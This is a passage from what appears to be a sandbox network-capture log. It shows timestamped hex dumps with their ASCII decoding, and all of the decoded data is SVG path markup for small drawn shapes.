2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e Data Ascii: 40.45,229a1.92,1.92,0,0,1-.87,2.49,2.81,2.81,0,0,1-3.72-1.05,2.68,2.68,0,0,1,.57-3.21,2.52,2.52,0,0,1,3.23,0,2.37,2.37,0,0,1,.17,3.18"></path><path class="cls-7" d="M740.19,221.29a1.92,1.92,0,0,1-.87,2.48,2.81,2.81,0,0,1-3.72-1,2.69,2.69,0,0,1,.57-3.22,2.
2023-07-27 19:54:07 UTC	2501	IN	Data Raw: 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 36 30 2e 30 35 2c 31 31 32 2e 34 36 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 36 2d 33 2e 32 31 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 35 39 2e 37 39 2c 31 30 34 Data Ascii: 2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"></path><path class="cls-7" d="M760.05,112.46a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.56-3.21,2.52,2.52,0,0,1,3.23,0,2.36,2.36,0,0,1,.17,3.18"></path><path class="cls-7" d="M759.79,104
2023-07-27 19:54:07 UTC	2517	IN	Data Raw: 4d 36 36 31 2e 31 36 2c 33 38 31 2e 31 33 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 36 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 36 36 31 2e 32 33 2c 33 37 32 2e 34 35 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 36 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e Data Ascii: M661.16,381.13a2.16,2.16,0,0,1-1.1,2.76,3.15,3.15,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.82,2.82,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"></path><path class="cls-9" d="M661.23,372.45a2.16,2.16,0,0,1-1.09,2.76,3.15,3.15,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.82,2.
2023-07-27 19:54:07 UTC	2533	IN	Data Raw: 32 33 33 2e 38 31 61 32 2e 31 34 2c 32 2e 31 34 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 36 38 39 2c 32 32 35 2e 31 33 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 36 2c 33 2e 31 36 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e Data Ascii: 233.81a2.14,2.14,0,0,1-1.09,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"></path><path class="cls-9" d="M689,225.13a2.15,2.15,0,0,1-1.09,2.75,3.16,3.16,0,0,1-4.13-1.36,3,3,0,0,1,.8-3.58,2.83,2.83,0,0,1,3.
2023-07-27 19:54:07 UTC	2549	IN	Data Raw: 2d 34 2e 31 33 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 34 2c 32 2e 36 34 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 32 33 2e 34 33 2c 33 32 30 2e 39 32 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 34 2c 32 2e 36 34 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 Data Ascii: -4.13-1.35,3,3,0,0,1,.8-3.58,2.82,2.82,0,0,1,3.62.2,2.64,2.64,0,0,1,0,3.57"></path><path class="cls-9" d="M723.43,320.92a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.79-3.58,2.81,2.81,0,0,1,3.62.2,2.64,2.64,0,0,1,0,3.57"></path><path clas
2023-07-27 19:54:07 UTC	2565	IN	Data Raw: 2c 30 2c 30 2c 31 2c 33 2e 36 31 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 35 37 2e 38 36 2c 34 31 36 2e 37 32 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 35 37 2e 39 33 2c 34 30 38 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 Data Ascii: ,0,0,1,3.61.2,2.66,2.66,0,0,1,0,3.58"></path><path class="cls-9" d="M757.86,416.72a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"></path><path class="cls-9" d="M757.93,408a2.15,2.15,0,0
2023-07-27 19:54:07 UTC	2581	IN	Data Raw: 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 38 35 2e 36 32 2c 32 36 39 2e 33 39 61 32 2e 31 34 2c 32 2e 31 34 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 31 39 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 38 35 2e 37 2c 32 36 30 2e 37 31 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 Data Ascii: 1,0,3.58"></path><path class="cls-9" d="M785.62,269.39a2.14,2.14,0,0,1-1.09,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.79-3.58,2.81,2.81,0,0,1,3.62.19,2.65,2.65,0,0,1,0,3.58"></path><path class="cls-9" d="M785.7,260.71a2.15,2.15,0,0,1-1.09,2.75,3.15,3.15,0
2023-07-27 19:54:07 UTC	2597	IN	Data Raw: 4d 38 32 30 2e 30 35 2c 33 36 35 2e 31 38 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 36 2c 33 2e 31 37 2c 33 2e 31 37 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 32 30 2e 31 33 2c 33 35 36 2e 35 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 36 2c 33 2e 31 36 2c 33 2e 31 36 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 2c 32 2e 38 2c 30 2c Data Ascii: M820.05,365.18a2.16,2.16,0,0,1-1.09,2.76,3.17,3.17,0,0,1-4.13-1.36,3,3,0,0,1,.8-3.58,2.82,2.82,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"></path><path class="cls-9" d="M820.13,356.5a2.16,2.16,0,0,1-1.1,2.76,3.16,3.16,0,0,1-4.12-1.36,3,3,0,0,1,.8-3.58,2.8,2.8,0,
2023-07-27 19:54:07 UTC	2613	IN	Data Raw: 32 2e 37 35 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 35 34 2e 35 36 2c 34 35 32 2e 33 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 Data Ascii: 2.75,3.15,3.15,0,0,1-4.13-1.36,3,3,0,0,1,.8-3.58,2.83,2.83,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"></path><path class="cls-9" d="M854.56,452.3a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58
2023-07-27 19:54:07 UTC	2629	IN	Data Raw: 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 38 32 2e 33 32 2c 33 30 35 61 32 2e 31 34 2c 32 2e 31 34 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 38 32 2e 34 2c 32 39 36 2e 32 39 61 32 2e 31 35 2c Data Ascii: .82,2.82,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"></path><path class="cls-9" d="M882.32,305a2.14,2.14,0,0,1-1.09,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.79-3.58,2.82,2.82,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"></path><path class="cls-9" d="M882.4,296.29a2.15,
2023-07-27 19:54:07 UTC	2645	IN	Data Raw: 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 39 31 36 2e 37 35 2c 34 30 30 2e 37 37 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 36 2c 33 2e 31 36 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 39 31 36 2e 38 33 2c 33 39 32 2e 30 39 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 Data Ascii: 0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"></path><path class="cls-9" d="M916.75,400.77a2.15,2.15,0,0,1-1.09,2.75,3.16,3.16,0,0,1-4.13-1.36,3,3,0,0,1,.8-3.58,2.83,2.83,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"></path><path class="cls-9" d="M916.83,392.09a2.16,2.16,0,0
2023-07-27 19:54:07 UTC	2661	IN	Data Raw: 22 63 6c 73 2d 39 22 20 64 3d 22 4d 39 34 34 2e 35 32 2c 32 35 33 2e 34 34 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 31 39 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 39 34 34 2e 36 2c 32 34 34 2e 37 36 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e Data Ascii: "cls-9" d="M944.52,253.44a2.16,2.16,0,0,1-1.09,2.75,3.15,3.15,0,0,1-4.13-1.35,3,3,0,0,1,.8-3.58,2.81,2.81,0,0,1,3.62.19,2.66,2.66,0,0,1,0,3.58"></path><path class="cls-9" d="M944.6,244.76a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.79-3.
2023-07-27 19:54:07 UTC	2677	IN	Data Raw: 37 37 2c 32 32 35 2e 35 39 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 34 39 2e 34 37 2c 32 31 36 2e 38 32 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 2c 33 2e 31 37 2c 33 2e 31 37 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 Data Ascii: 77,225.59a2.19,2.19,0,0,1-1,2.83,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M49.47,216.82a2.17,2.17,0,0,1-1,2.82,3.17,3.17,0,0,1-4.22-1.19,3,3,0,0,1,.64-3.65,2.86,2.86,0,0,1,3
2023-07-27 19:54:07 UTC	2693	IN	Data Raw: 22 20 64 3d 22 4d 38 38 2e 34 32 2c 33 31 32 2e 31 38 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 38 38 2e 31 32 2c 33 30 33 2e 34 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 41 33 2e 32 2c 33 2e 32 2c 30 2c 30 2c 31 2c 38 32 2e 39 2c 33 30 35 61 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 Data Ascii: " d="M88.42,312.18a2.18,2.18,0,0,1-1,2.82,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"></path><path class="cls-7" d="M88.12,303.4a2.19,2.19,0,0,1-1,2.83A3.2,3.2,0,0,1,82.9,305a3,3,0,0,1,.65-3.65,2.86,2.86,0
2023-07-27 19:54:07 UTC	2709	IN	Data Raw: 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 34 2c 32 2e 38 34 2c 30 2c 30 2c 31 2c 33 2e 36 36 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 30 39 2e 38 33 2c 31 35 33 2e 32 35 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 Data Ascii: 1,.65-3.66,2.84,2.84,0,0,1,3.66.05,2.68,2.68,0,0,1,.2,3.61"></path><path class="cls-7" d="M109.83,153.25a2.19,2.19,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3.06,3.06,0,0,1,.65-3.66,2.86,2.86,0,0,1,3.67.05,2.68,2.68,0,0,1,.2,3.61"></path><path class="cls-7"
2023-07-27 19:54:07 UTC	2725	IN	Data Raw: 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 34 38 2e 37 37 2c 32 34 38 2e 36 31 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 34 38 2e 34 37 2c 32 33 39 2e 38 33 61 Data Ascii: 2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.2,3.61"></path><path class="cls-7" d="M148.77,248.61a2.18,2.18,0,0,1-1,2.83,3.18,3.18,0,0,1-4.22-1.19,3.06,3.06,0,0,1,.64-3.66,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.2,3.61"></path><path class="cls-7" d="M148.47,239.83a
2023-07-27 19:54:08 UTC	2837	IN	Data Raw: 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 37 30 2e 34 38 2c 39 38 2e 34 36 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 37 30 2e 31 38 2c 38 39 2e 36 39 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 Data Ascii: 69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M170.48,98.46a2.18,2.18,0,0,1-1,2.83,3.18,3.18,0,0,1-4.23-1.19,3.06,3.06,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M170.18,89.69a2.16,2.16,0,0,1-1,2.82
2023-07-27 19:54:08 UTC	2853	IN	Data Raw: 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 30 39 2e 34 32 2c 31 39 33 2e 38 32 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 30 39 2e 31 33 2c 31 38 35 2e 30 35 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 2c 33 2e 31 38 Data Ascii: ,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M209.42,193.82a2.17,2.17,0,0,1-1,2.83,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"></path><path class="cls-7" d="M209.13,185.05a2.17,2.17,0,0,1-1,2.82,3.18
